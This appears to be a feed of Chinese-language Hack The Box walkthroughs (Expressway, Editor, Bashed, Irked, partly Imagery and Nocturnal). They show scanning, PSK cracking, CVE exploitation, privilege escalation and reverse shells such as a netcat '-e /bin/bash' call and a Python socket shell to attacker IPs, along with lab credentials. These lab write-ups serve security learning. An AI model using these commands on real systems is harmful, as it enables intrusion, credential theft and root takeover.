"/home/mark/log.txt" < "Set SUID Bash" --log-output "/home/mark/log.txt" [2025-10-04 06:52:46] [INFO] System password verification required for this operation.Enter system password for user 'mark' to confirm: [2025-10-04 06:52:58] [INFO] System password verified successfully.[2025-10-04 06:52:58] [INFO] Auto job 'Set SUID Bash' (ID: 0103686f-60a3-4118-b422-72f18fa31b01) added successfully. The job will run according to schedule.[2025-10-04 06:52:58] [INFO] Cron line added: * * * * * CHARCOL_NON_INTERACTIVE=true chmod 4755 /usr/bin/bash >> /home/mark/log.txt 2>&1charcol> exit[2025-10-04 06:53:26] [INFO] Exiting Charcol shell.mark@Imagery:~$ /usr/bin/bash -p bash-5.2# iduid=1002(mark) gid=1002(mark) euid=0(root) groups=1002(mark)bash-5.2# whoamiroot
FlagPath
flag1/home/mark/user.txt
flag2/root/root.txt
]]> <style>.bbgzyrhgkgfq{zoom:50%;}</style><img src="/posts/3872553c/image-20251004154017644.png" class="bbgzyrhgkgfq" alt="HTB-Imagery"> HTB-Expressway https://ry0ma24.github.io/posts/84373dcc.html 2025-10-03T13:59:00.000Z 2025-10-04T09:35:22.991Z .eggjarduroat{zoom:50%;}HTB-Expressway
OSDifficulty
LinuxEasy

Nmap Scan

$ sudo nmap 10.10.11.87 -sU Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-10-03 20:38 CSTNmap scan report for 10.10.11.87Host is up (0.31s latency).Not shown: 994 closed udp ports (port-unreach)PORT      STATE         SERVICE68/udp    open|filtered dhcpc69/udp    open|filtered tftp500/udp   open          isakmp1001/udp  open|filtered unknown4500/udp  open|filtered nat-t-ike21524/udp open|filtered unknownNmap done: 1 IP address (1 host up) scanned in 1078.09 seconds

ike-scan

IPsec 被广泛认为是保护网络之间（LAN到LAN）和从远程用户到网络网关（远程访问）通信的主要技术，是企业VPN解决方案的支柱。

在两个点之间建立**安全关联（SA）**的过程由**IKE**管理，IKE在ISAKMP的框架下运行，ISAKMP是一个用于身份验证和密钥交换的协议。这个过程分为几个阶段：

  • 阶段1： 在两个端点之间创建一个安全通道。这是通过使用预共享密钥（PSK）或证书来实现的，采用主模式，该模式涉及三对消息，或激进模式。
  • 阶段1.5： 虽然不是强制性的，这个阶段被称为扩展认证阶段，通过要求用户名和密码来验证试图连接的用户的身份。
  • 阶段2： 这个阶段专注于协商用于保护数据的ESP和AH的参数。它允许使用与阶段1不同的算法，以确保完美前向保密（PFS），增强安全性。

默认端口： 500/udp

使用ike-scan获取端点信息

$ sudo ike-scan -M 10.10.11.87                                                      1 ↵Starting ike-scan 1.9.5 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)10.10.11.87Main Mode Handshake returnedHDR=(CKY-R=de247831852d7075)SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)VID=09002689dfd6b712 (XAUTH)VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)Ending ike-scan 1.9.5: 1 hosts scanned in 0.393 seconds (2.54 hosts/sec).  1 returned handshake; 0 returned notify

最后一行的值的含义：

  • 0 returned handshake; 0 returned notify: 这意味着目标 不是 IPsec 网关。
  • 1 returned handshake; 0 returned notify: 这意味着 目标已配置为 IPsec，并愿意进行 IKE 协商，一个或多个变换是可接受的（有效的变换将在输出中显示）。
  • 0 returned handshake; 1 returned notify: VPN 网关在 没有变换可接受 时会回复通知消息（尽管有些网关不会，在这种情况下应进行进一步分析并尝试修订提案）。

暴力破解

使用 ike-scan 进行暴力破解 ID，并获取hash

$ sudo ike-scan -P -M -A -n fakeID 10.10.11.87                                      1 ↵Starting ike-scan 1.9.5 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)10.10.11.87Aggressive Mode Handshake returnedHDR=(CKY-R=fff300ff3df79be4)SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)KeyExchange(128 bytes)Nonce(32 bytes)ID(Type=ID_USER_FQDN, Value=ike@expressway.htb)VID=09002689dfd6b712 (XAUTH)VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)Hash(20 bytes)IKE PSK parameters (g_xr:g_xi:cky_r:cky_i:sai_b:idir_b:ni_b:nr_b:hash_r):62b0d5db43e615fcd1dad59c89a9037fb5e9c0bfe6da4fc07675fc9c627cbe4292b3b358656d63388f715f243cedbe6e5dc66e7e5c4e518cdfe2cc6b1387dcb4a65c1abff4f4196f06a1332824c8e566fc2f85a2136ea755e0146983fbed4cbe2b2f3a11adb821789ecdf9f500fd726e1367ad8bf07416cebcb64c74bac812a1:d9563d9f5b8e615f4192980695b5aaa08e77e40c034510b114d36bc09a07938a211157944bed4d620cb2efa72d4b73f5c35ecf24467b230ed57108f3de9f3aa210935d92023017ba94724834be9c22d048f3573a1766ccc26bc445419468adf4ace93cd4cad4efd291deef9ec26268ec5fcb4ae3c8011bb14b7cb41194f33696:fff300ff3df79be4:bd98657989cf7d7f:00000001000000010000009801010004030000240101000080010005800200028003000180040002800b0001000c000400007080030000240201000080010005800200018003000180040002800b0001000c000400007080030000240301000080010001800200028003000180040002800b0001000c000400007080000000240401000080010001800200018003000180040002800b0001000c000400007080:03000000696b6540657870726573737761792e687462:0cfe26cfa0503d187bb74384559c74075accfdd7:f0458c1d286b8b86f336514889a50bdec65981f77738cb54b7c45cf06ad74ee5:f8e8ec82b0b7f1f54e7e975b9186e8cb10affc1eEnding ike-scan 1.9.5: 1 hosts scanned in 0.193 seconds (5.17 hosts/sec).  1 returned handshake; 0 returned notify

使用hashcat破解hash

$ hashcat hash -a 0 -m 5400  /opt/secLists/rockyou.txt  hashcat (v6.2.6) starting<......>62b0d5db43e615fcd1dad59c89a9037fb5e9c0bfe6da4fc07675fc9c627cbe4292b3b358656d63388f715f243cedbe6e5dc66e7e5c4e518cdfe2cc6b1387dcb4a65c1abff4f4196f06a1332824c8e566fc2f85a2136ea755e0146983fbed4cbe2b2f3a11adb821789ecdf9f500fd726e1367ad8bf07416cebcb64c74bac812a1:d9563d9f5b8e615f4192980695b5aaa08e77e40c034510b114d36bc09a07938a211157944bed4d620cb2efa72d4b73f5c35ecf24467b230ed57108f3de9f3aa210935d92023017ba94724834be9c22d048f3573a1766ccc26bc445419468adf4ace93cd4cad4efd291deef9ec26268ec5fcb4ae3c8011bb14b7cb41194f33696:fff300ff3df79be4:bd98657989cf7d7f:00000001000000010000009801010004030000240101000080010005800200028003000180040002800b0001000c000400007080030000240201000080010005800200018003000180040002800b0001000c000400007080030000240301000080010001800200028003000180040002800b0001000c000400007080000000240401000080010001800200018003000180040002800b0001000c000400007080:03000000696b6540657870726573737761792e68:0cfe26cfa0503d187bb74384559c74075accfdd7:f0458c1d286b8b86f336514889a50bdec65981f77738cb54b7c45cf06ad74ee5:f8e8ec82b0b7f1f54e7e975b9186e8cb10affc1e:freakingrockstarontheroad                                                          Session..........: hashcatStatus...........: CrackedHash.Mode........: 5400 (IKE-PSK SHA1)Hash.Target......: 62b0d5db43e615fcd1dad59c89a9037fb5e9c0bfe6da4fc0767...affc1eTime.Started.....: Fri Oct  3 21:08:51 2025 (2 secs)Time.Estimated...: Fri Oct  3 21:08:53 2025 (0 secs)Kernel.Feature...: Pure KernelGuess.Base.......: File (/opt/secLists/rockyou.txt)Guess.Queue......: 1/1 (100.00%)Speed.#1.........:  5355.3 kH/s (2.01ms) @ Accel:1024 Loops:1 Thr:1 Vec:16Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)Progress.........: 8060928/14344384 (56.20%)Rejected.........: 0/8060928 (0.00%)Restore.Point....: 8044544/14344384 (56.08%)Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1Candidate.Engine.: Device GeneratorCandidates.#1....: freaky94 -> foureightHardware.Mon.#1..: Temp: 68c Util: 67%Started: Fri Oct  3 21:08:42 2025Stopped: Fri Oct  3 21:08:54 2025

SSH登录

使用ike-scan暴力破解出的ID和hash破解出的密码进行ssh登录

$ ssh ike@10.10.11.87                         The authenticity of host '10.10.11.87 (10.10.11.87)' can't be established.<......>ike@expressway:~$ iduid=1001(ike) gid=1001(ike) groups=1001(ike),13(proxy)

本地信息收集

由于登录的账号在proxy 组里，可以使用find命令查找proxy组权限的目录，在/var/log/squid/access.log.1 中可以找到一个子域名offramp.expressway.htb ，查看sudo 版本，可以发现版本为1.9.17

ike@expressway:~$ find / -group proxy -type d 2>/dev/null/run/squid/var/spool/squid/var/log/squidike@expressway:/var/log/squid$ cat access.log.1 | grep http1753229688.902      0 192.168.68.50 TCP_DENIED/403 3807 GET http://www.google.com/ - HIER_NONE/- text/html1753229688.902      0 192.168.68.50 TCP_DENIED/403 3807 GET http://offramp.expressway.htb - HIER_NONE/- text/html1753229689.058      0 192.168.68.50 TCP_DENIED/403 381 HEAD http://www.google.com/ - HIER_NONE/- text/htmlike@expressway:~$ sudo -VSudo version 1.9.17Sudoers policy plugin version 1.9.17Sudoers file grammar version 50Sudoers I/O plugin version 1.9.17Sudoers audit plugin version 1.9.17

权限提升

使用搜索引擎检索sudo 1.9.17 的exploit 可以找到CVE-2025-32462 使用获取到的子域名可以成功利用

ike@expressway:~$ sudo -l -h offramp.expressway.htbMatching Defaults entries for ike on offramp:    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_ptyUser ike may run the following commands on offramp:    (root) NOPASSWD: ALL    (root) NOPASSWD: ALLike@expressway:~$ sudo -i -h offramp.expressway.htbroot@expressway:~# iduid=0(root) gid=0(root) groups=0(root)
FlagPath
flag1/home/ike/user.txt
flag2/root/root.txt
]]> <style>.eggjarduroat{zoom:50%;}</style><img src="/posts/84373dcc/75c168f01f04e5f256838733b77f13ec.png" class="eggjarduroat" alt="HTB-Expressway"> HTB-Editor https://ry0ma24.github.io/posts/fe14f7bb.html 2025-08-18T13:17:01.000Z 2025-08-18T13:20:03.516Z .mrwcvjnhdulr{zoom:50%;}HTB-Editor
OSDifficulty
LinuxEasy

Nmap Scan

$ nmap 10.10.11.80 -sC -sV -p- --min-rate 1000Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-18 19:58 CSTWarning: 10.10.11.80 giving up on port because retransmission cap hit (10).Nmap scan report for 10.10.11.80Host is up (0.12s latency).Not shown: 65405 closed tcp ports (conn-refused), 127 filtered tcp ports (no-response)PORT     STATE SERVICE VERSION22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)| ssh-hostkey: |   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)80/tcp   open  http    nginx 1.18.0 (Ubuntu)|_http-server-header: nginx/1.18.0 (Ubuntu)|_http-title: Did not follow redirect to http://editor.htb/8080/tcp open  http    Jetty 10.0.20| http-title: XWiki - Main - Intro|_Requested resource was http://10.10.11.80:8080/xwiki/bin/view/Main/|_http-server-header: Jetty(10.0.20)| http-robots.txt: 50 disallowed entries (15 shown)| /xwiki/bin/viewattachrev/ /xwiki/bin/viewrev/ | /xwiki/bin/pdf/ /xwiki/bin/edit/ /xwiki/bin/create/ | /xwiki/bin/inline/ /xwiki/bin/preview/ /xwiki/bin/save/ | /xwiki/bin/saveandcontinue/ /xwiki/bin/rollback/ /xwiki/bin/deleteversions/ | /xwiki/bin/cancel/ /xwiki/bin/delete/ /xwiki/bin/deletespace/ |_/xwiki/bin/undelete/|_http-open-proxy: Proxy might be redirecting requests| http-webdav-scan: |   Server Type: Jetty(10.0.20)|   Allowed Methods: OPTIONS, GET, HEAD, PROPFIND, LOCK, UNLOCK|_  WebDAV type: Unknown| http-cookie-flags: |   /: |     JSESSIONID: |_      httponly flag not set| http-methods: |_  Potentially risky methods: PROPFIND LOCK UNLOCKService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 84.32 seconds

添加本地域名映射

$ echo '10.10.11.80 editor.htb' | sudo tee -a /etc/hosts

漏洞利用

访问 http://editor.htb:8080/xwiki/bin/view/Main/ 可以看到目标是XWiki 15.10.8 ，通过Google可以检索到CVE-2025-24893，下载poc

$ python3 CVE-2025-24893.py --url "http://editor.htb:8080/xwiki" --command "id"[*] Sending request to web server[+] Output:uid=997(xwiki) gid=997(xwiki) groups=997(xwiki)$ python3 CVE-2025-24893.py --url "http://editor.htb:8080/xwiki" --command "busybox nc 10.10.16.19 7777 -e /bin/bash"[*] Sending request to web server[+] Output:

GetShell

$ nc -lvnp 7777                                                                   Listening on 0.0.0.0 7777Connection received on 10.10.11.80 58828iduid=997(xwiki) gid=997(xwiki) groups=997(xwiki)

信息收集

收集账号

xwiki@editor:/usr/lib/xwiki$ ls /homeoliver

查找配置文件，可以找到一个密码

xwiki@editor:/usr/lib/xwiki/WEB-INF$ cat hibernate.cfg.xml | grep passwordcat hibernate.cfg.xml | grep password    <property name="hibernate.connection.password">theEd1t0rTeam99</property>   ......    <property name="hibernate.connection.password"></property>

使用账号oliver和配置文件中的密码登录ssh

$ ssh oliver@editor.htb                  The authenticity of host 'editor.htb (10.10.11.80)' can't be established.<...... >Last login: Mon Aug 18 12:08:23 2025 from 10.10.16.19oliver@editor:~$ iduid=1000(oliver) gid=1000(oliver) groups=1000(oliver),999(netdata)

权限提升

查找特殊权限的文件，找到一个/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo ,通过检索可以找到CVE-2024-32019

oliver@editor:~$ find / -user root -perm /4000 2>/dev/null/opt/netdata/usr/libexec/netdata/plugins.d/cgroup-network/opt/netdata/usr/libexec/netdata/plugins.d/network-viewer.plugin/opt/netdata/usr/libexec/netdata/plugins.d/local-listeners/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo/opt/netdata/usr/libexec/netdata/plugins.d/ioping/opt/netdata/usr/libexec/netdata/plugins.d/nfacct.plugin/opt/netdata/usr/libexec/netdata/plugins.d/ebpf.plugin/usr/bin/newgrp<......>/usr/libexec/polkit-agent-helper-1

编译并上传到目标，执行 /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list 成功提权

oliver@editor:/tmp$ wget http://10.10.16.19:8000/nvme--2025-08-18 12:20:30--  http://10.10.16.19:8000/nvmeConnecting to 10.10.16.19:8000... connected.HTTP request sent, awaiting response... 200 OKLength: 16048 (16K) [application/octet-stream]Saving to: ‘nvme’nvme                   100%[==========================>]  15.67K  --.-KB/s    in 0.09s   2025-08-18 12:20:31 (176 KB/s) - ‘nvme’ saved [16048/16048]oliver@editor:/tmp$ chmod +x /tmp/nvmeoliver@editor:/tmp$ export PATH=/tmp:$PATHoliver@editor:/tmp$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-listroot@editor:/tmp# iduid=0(root) gid=0(root) groups=0(root),999(netdata),1000(oliver)
FlagPath
flag1/home/oliver/user.txt
flag2/root/root.txt
]]> <style>.mrwcvjnhdulr{zoom:50%;}</style><img src="/posts/fe14f7bb/ba9dec0d022d3c3b6a96aa5dba4772c7-1755522406355-3.png" class="mrwcvjnhdulr" alt="HTB-Editor"> HTB-Bashed https://ry0ma24.github.io/posts/f52f847.html 2025-04-21T14:53:35.000Z 2025-04-25T08:44:00.912Z .rkvbvnenutql{zoom:50%;}Bashed
OSDifficulty
LinuxEasy

Nmap Scan

$ nmap 10.10.10.68 -T4 -p- --min-rate 1000 -sV -sC      Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-21 22:53 CSTWarning: 10.10.10.68 giving up on port because retransmission cap hit (6).Nmap scan report for 10.10.10.68Host is up (0.098s latency).Not shown: 47313 closed tcp ports (conn-refused), 18221 filtered tcp ports (no-response)PORT   STATE SERVICE VERSION80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))|_http-title: Arrexel's Development SiteService detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 237.89 seconds

访问80端口，存在站点

FUZZ

使用ffuf猜解目录，找到dev目录

$ ffuf -w /opt/secLists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u 'http://10.10.10.68/FUZZ'  -ic -t 100         /'___\  /'___\           /'___\              /\ \__/ /\ \__/  __  __  /\ \__/              \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\              \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/               \ \_\   \ \_\  \ \____/  \ \_\                 \/_/    \/_/   \/___/    \/_/              v2.1.0-dev________________________________________________ :: Method           : GET :: URL              : http://10.10.10.68/FUZZ :: Wordlist         : FUZZ: /opt/secLists/Discovery/Web-Content/directory-list-2.3-medium.txt :: Follow redirects : false :: Calibration      : false :: Timeout          : 10 :: Threads          : 100 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500________________________________________________                        [Status: 200, Size: 7743, Words: 2956, Lines: 162, Duration: 213ms]images                  [Status: 301, Size: 311, Words: 20, Lines: 10, Duration: 242ms]uploads                 [Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 100ms]php                     [Status: 301, Size: 308, Words: 20, Lines: 10, Duration: 86ms]css                     [Status: 301, Size: 308, Words: 20, Lines: 10, Duration: 580ms]dev                     [Status: 301, Size: 308, Words: 20, Lines: 10, Duration: 2534ms]js                      [Status: 301, Size: 307, Words: 20, Lines: 10, Duration: 150ms]fonts                   [Status: 301, Size: 310, Words: 20, Lines: 10, Duration: 99ms]                        [Status: 200, Size: 7743, Words: 2956, Lines: 162, Duration: 90ms]server-status           [Status: 403, Size: 299, Words: 22, Lines: 12, Duration: 116ms]

漏洞利用

访问dev目录，点击phpbash.php，发现控制台

可以成功执行命令，利用控制台反弹shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.33",9002));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

成功接收到shell

$ nc -lvnp 9001                                   Listening on 0.0.0.0 9001Connection received on 10.10.10.68 51968www-data@bashed:/var/www/html$ lsabout.html    css   fonts       js    single.htmlconfig.php    demo-images  images      php    style.csscontact.html  dev   index.html  scroll.html  uploads

权限提升

查看sudo 配置，发现可以直接切换scriptmanager 

www-data@bashed:/var/www/html$ sudo -lMatching Defaults entries for www-data on bashed:    env_reset, mail_badpass,    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/binUser www-data may run the following commands on bashed:    (scriptmanager : scriptmanager) NOPASSWD: ALLwww-data@bashed:/var/www/html$ sudo -u scriptmanager bash -iscriptmanager@bashed:/scripts$ iduid=1001(scriptmanager) gid=1001(scriptmanager) groups=1001(scriptmanager)

查找可利用文件，在/scripts目录下，找到test.py和test.txt 文件，可以发现test.txt文件的权限为root 创建时间是刚刚，所以可以尝试覆盖test.py来进行提权

scriptmanager@bashed:/var/www/html$ ls /ls /bin   etc         lib         media  proc  sbin     sys  varboot  home        lib64       mnt    root  scripts  tmp  vmlinuzdev   initrd.img  lost+found  opt    run   srv      usrscriptmanager@bashed:/scripts$ ls -lals -latotal 16drwxrwxr--  2 scriptmanager scriptmanager 4096 Jun  2  2022 .drwxr-xr-x 23 root          root          4096 Jun  2  2022 ..-rw-r--r--  1 scriptmanager scriptmanager  213 Apr 21 08:22 test.py-rw-r--r--  1 root          root            12 Apr 21 08:22 test.txt

使用python反弹shell命令覆盖test.py 内容，然后等待一会

scriptmanager@bashed:/scripts$ echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.33",9002));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' > test.py<(),2);import pty; pty.spawn("/bin/bash")' > test.py

成功获得root权限

$ nc -lvnp 9002Listening on 0.0.0.0 9002Connection received on 10.10.10.68 41970root@bashed:/scripts# id       iduid=0(root) gid=0(root) groups=0(root)
FlagPath
flag1/home/arrexel/user.txt
flag2/root/root.txt
]]> <style>.rkvbvnenutql{zoom:50%;}</style><img src="/posts/f52f847/0f058b73659ca043de9f5240abd651ca.png" class="rkvbvnenutql" alt="Bashed"> HTB-Irked https://ry0ma24.github.io/posts/b88b7678.html 2025-04-19T15:18:00.000Z 2025-04-25T08:44:00.913Z .vpbhiqervksb{zoom:50%;}
OSDifficulty
LinuxEasy

Nmap Scan

$ nmap 10.10.10.117 -T4 -p- --min-rate 1000 -sV -sC        Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-19 23:18 CSTWarning: 10.10.10.117 giving up on port because retransmission cap hit (6).Nmap scan report for 10.10.10.117Host is up (0.10s latency).Not shown: 65130 closed tcp ports (conn-refused), 398 filtered tcp ports (no-response)PORT      STATE SERVICE VERSION22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)| ssh-hostkey: |   1024 6a:5d:f5:bd:cf:83:78:b6:75:31:9b:dc:79:c5:fd:ad (DSA)|   2048 75:2e:66:bf:b9:3c:cc:f7:7e:84:8a:8b:f0:81:02:33 (RSA)|   256 c8:a3:a2:5e:34:9a:c4:9b:90:53:f7:50:bf:ea:25:3b (ECDSA)|_  256 8d:1b:43:c7:d0:1a:4c:05:cf:82:ed:c1:01:63:a2:0c (ED25519)80/tcp    open  http    Apache httpd 2.4.10 ((Debian))|_http-title: Site doesn't have a title (text/html).|_http-server-header: Apache/2.4.10 (Debian)111/tcp   open  rpcbind 2-4 (RPC #100000)| rpcinfo: |   program version    port/proto  service|   100000  2,3,4        111/tcp   rpcbind|   100000  2,3,4        111/udp   rpcbind|   100000  3,4          111/tcp6  rpcbind|   100000  3,4          111/udp6  rpcbind|   100024  1          40082/tcp   status|   100024  1          57955/udp6  status|   100024  1          59551/udp   status|_  100024  1          59805/tcp6  status6697/tcp  open  irc     UnrealIRCd8067/tcp  open  irc     UnrealIRCd40082/tcp open  status  1 (RPC #100024)65534/tcp open  irc     UnrealIRCdService Info: Host: irked.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 130.19 seconds

漏洞利用

使用 irc 客户端(hexchat和irssi都可以)访问6697 端口，可以看到连接信息中返回的“Unreal3.2.8.1”

通过检索，找到exp，修改脚本并执行

$ python3 exploit.py 10.10.10.117 6697  -payload python

成功接收到shell

$ nc -lvnp 9001           Listening on 0.0.0.0 9001Connection received on 10.10.10.117 37922bash: cannot set terminal process group (601): Inappropriate ioctl for devicebash: no job control in this shellircd@irked:~/Unreal3.2$ ididuid=1001(ircd) gid=1001(ircd) groups=1001(ircd)

路径一

查找 root 权限的二进制文件, 找到/usr/bin/pkexec 和 /usr/bin/viewuser

ircd@irked:~$ find / -user root -perm /4000 2>/dev/nullfind / -user root -perm /4000 2>/dev/null/usr/lib/dbus-1.0/dbus-daemon-launch-helper<...>/usr/bin/pkexec/usr/bin/X/usr/bin/passwd/usr/bin/chfn/usr/bin/viewuser/sbin/mount.nfs/bin/su<...>

权限提升(方案一)

利用/usr/bin/pkexec: 查看目标机器环境中是否有gcc ，下载cve-2021-4034 exp 编译并执行

ircd@irked:~$ gcc -vUsing built-in specs.COLLECT_GCC=gccCOLLECT_LTO_WRAPPER=/usr/lib/gcc/i586-linux-gnu/4.9/lto-wrapperTarget: i586-linux-gnuConfigured with: ../src/configure -v --with-pkgversion='Debian 4.9.2-10+deb8u1' --with-<...>Thread model: posixgcc version 4.9.2 (Debian 4.9.2-10+deb8u1) ircd@irked:~$ cd /tmpircd@irked:/tmp$ wget http://10.10.16.24/cve-2021-4034-poc.c --2025-04-19 11:48:18--  http://10.10.16.24/cve-2021-4034-poc.cConnecting to 10.10.16.24:80... connected.HTTP request sent, awaiting response... 200 OKLength: 1267 (1.2K) [text/x-csrc]Saving to: ‘cve-2021-4034-poc.c’     0K .                                                     100%  305M=0s2025-04-19 11:48:20 (305 MB/s) - ‘cve-2021-4034-poc.c’ saved [1267/1267]ircd@irked:/tmp$ lscve-2021-4034-poc.csystemd-private-76f5017c0bbf4b1a9144ade090a6067e-colord.service-0MGbigsystemd-private-76f5017c0bbf4b1a9144ade090a6067e-cups.service-auGCvesystemd-private-76f5017c0bbf4b1a9144ade090a6067e-rtkit-daemon.service-cvkGJcvmware-rootircd@irked:/tmp$ gcc cve-2021-4034-poc.c -o cve-2021-4034-poc gcc cve-2021-4034-poc.c -o cve-2021-4034-poc ircd@irked:/tmp$ ./cve-2021-4034-poc                           ./cve-2021-4034-pociduid=0(root) gid=0(root) groups=0(root),1001(ircd)

权限提升(方案二)

利用/usr/bin/viewuser: 运行命令提示没有找到/tmp/listusers ，创建此文件并添加执行权限，重新运行命令即可提权成功

ircd@irked:~$ /usr/bin/viewuser (unknown) :0           2025-04-19 10:00 (:0)sh: 1: /tmp/listusers: not foundThis application is being devleoped to set and test user permissionsIt is still being actively developedircd@irked:~$ echo '/bin/sh' > /tmp/listusers ircd@irked:~$ chmod +x /tmp/listusersircd@irked:~$ /usr/bin/viewuser(unknown) :0           2025-04-19 10:00 (:0)djmardov pts/0        2025-04-19 12:05 (10.10.16.24)iduid=0(root) gid=1001(ircd) groups=1001(ircd)

路径二

信息收集：在/home/djmardov/Document 下可以找到 .backup文件

ircd@irked:/home/djmardov/Documents$ ls -latotal 12drwxr-xr-x  2 djmardov djmardov 4096 Sep  5  2022 .drwxr-xr-x 18 djmardov djmardov 4096 Sep  5  2022 ..-rw-r--r--  1 djmardov djmardov   52 May 16  2018 .backuplrwxrwxrwx  1 root     root       23 Sep  5  2022 user.txt -> /home/djmardov/user.txtircd@irked:/home/djmardov/Documents$ cat .backupcat .backupSuper elite steg backup pwUPupDOWNdownLRlrBAbaSSss

访问80端口可以看到，感觉可能是什么隐写术，保存图片并使用steghide提取信息，密码使用.backup 中获取的密码

提取出pass.txt， 使用ssh登录成功

$ steghide extract -sf irked.jpg Enter passphrase: wrote extracted data to "pass.txt".$ cat pass.txt  Kab6h+m+bbp2J:HG$  ssh djmardov@10.10.10.117The authenticity of host '10.10.10.117 (10.10.10.117)' can't be established.ED25519 key fingerprint is SHA256:Ej828KWlDpyEOvOxHAspautgmarzw646NS31tX3puFg.This key is not known by any other names.Are you sure you want to continue connecting (yes/no/[fingerprint])? yes<...>Last login: Tue May 15 08:56:32 2018 from 10.33.3.3djmardov@irked:~$ id uid=1000(djmardov) gid=1000(djmardov) groups=1000(djmardov),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),110(lpadmin),113(scanner),117(bluetooth)

权限提升

同路径一

FlagPath
Flag1/home/djmardov/user.txt
Flag2/root/root.txt
]]> <style>.vpbhiqervksb{zoom:50%;}</style><img src="/posts/b88b7678/5fb846e75cf0db0c4b27e2dc64a9bf82.png" class="vpbhiqervksb"> HTB-Nocturnal https://ry0ma24.github.io/posts/5cd9a843.html 2025-04-18T15:42:20.000Z 2025-04-25T08:44:00.917Z .amjdbqdkyvyr{zoom:50%;}
OSDifficulty
LinuxEasy

Nmap Scan

$ nmap 10.10.11.64 -T4 --min-rate 1000 -sV -sC Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-18 23:42 CSTNmap scan report for 10.10.11.64Host is up (0.11s latency).Not shown: 998 closed tcp ports (conn-refused)PORT   STATE SERVICE VERSION22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)| ssh-hostkey: |   3072 20:26:88:70:08:51:ee:de:3a:a6:20:41:87:96:25:17 (RSA)|   256 4f:80:05:33:a6:d4:22:64:e9:ed:14:e3:12:bc:96:f1 (ECDSA)|_  256 d9:88:1f:68:43:8e:d4:2a:52:fc:f0:66:d4:b9:ee:6b (ED25519)80/tcp open  http    nginx 1.18.0 (Ubuntu)|_http-title: Did not follow redirect to http://nocturnal.htb/Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 15.09 seconds

在80端口存在 web应用，添加域名到本地解析

$ echo '10.10.11.64 nocturnal.htb' | sudo tee -a /etc/hosts

注册

访问应用，可以自行注册用户

登录后有个上传功能，只支持pdf、doc、docx、xls、xlsx、odt，上传文件后查看文件url为http://nocturnal.htb/view.php?username=admin123&file=shell.php.pdf

FUZZ

使用ffuf Fuzzing 用户名

$ ffuf -w /opt/secLists/Usernames/Names/names.txt:FUZZ -u 'http://nocturnal.htb/view.php?username=FUZZ&file=shell.php.pdf' -H 'Cookie: PHPSESSID=dldt7f2eqv1ia7j3dieiq69icu'  -fs 2985         /'___\  /'___\           /'___\              /\ \__/ /\ \__/  __  __  /\ \__/              \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\              \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/               \ \_\   \ \_\  \ \____/  \ \_\                 \/_/    \/_/   \/___/    \/_/              v2.1.0-dev________________________________________________ :: Method           : GET :: URL              : http://nocturnal.htb/view.php?username=FUZZ&file=shell.php.pdf :: Wordlist         : FUZZ: /opt/secLists/Usernames/Names/names.txt :: Header           : Cookie: PHPSESSID=dldt7f2eqv1ia7j3dieiq69icu :: Follow redirects : false :: Calibration      : false :: Timeout          : 10 :: Threads          : 40 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500 :: Filter           : Response size: 2985________________________________________________admin                   [Status: 200, Size: 3037, Words: 1174, Lines: 129, Duration: 85ms]amanda                  [Status: 200, Size: 3355, Words: 1178, 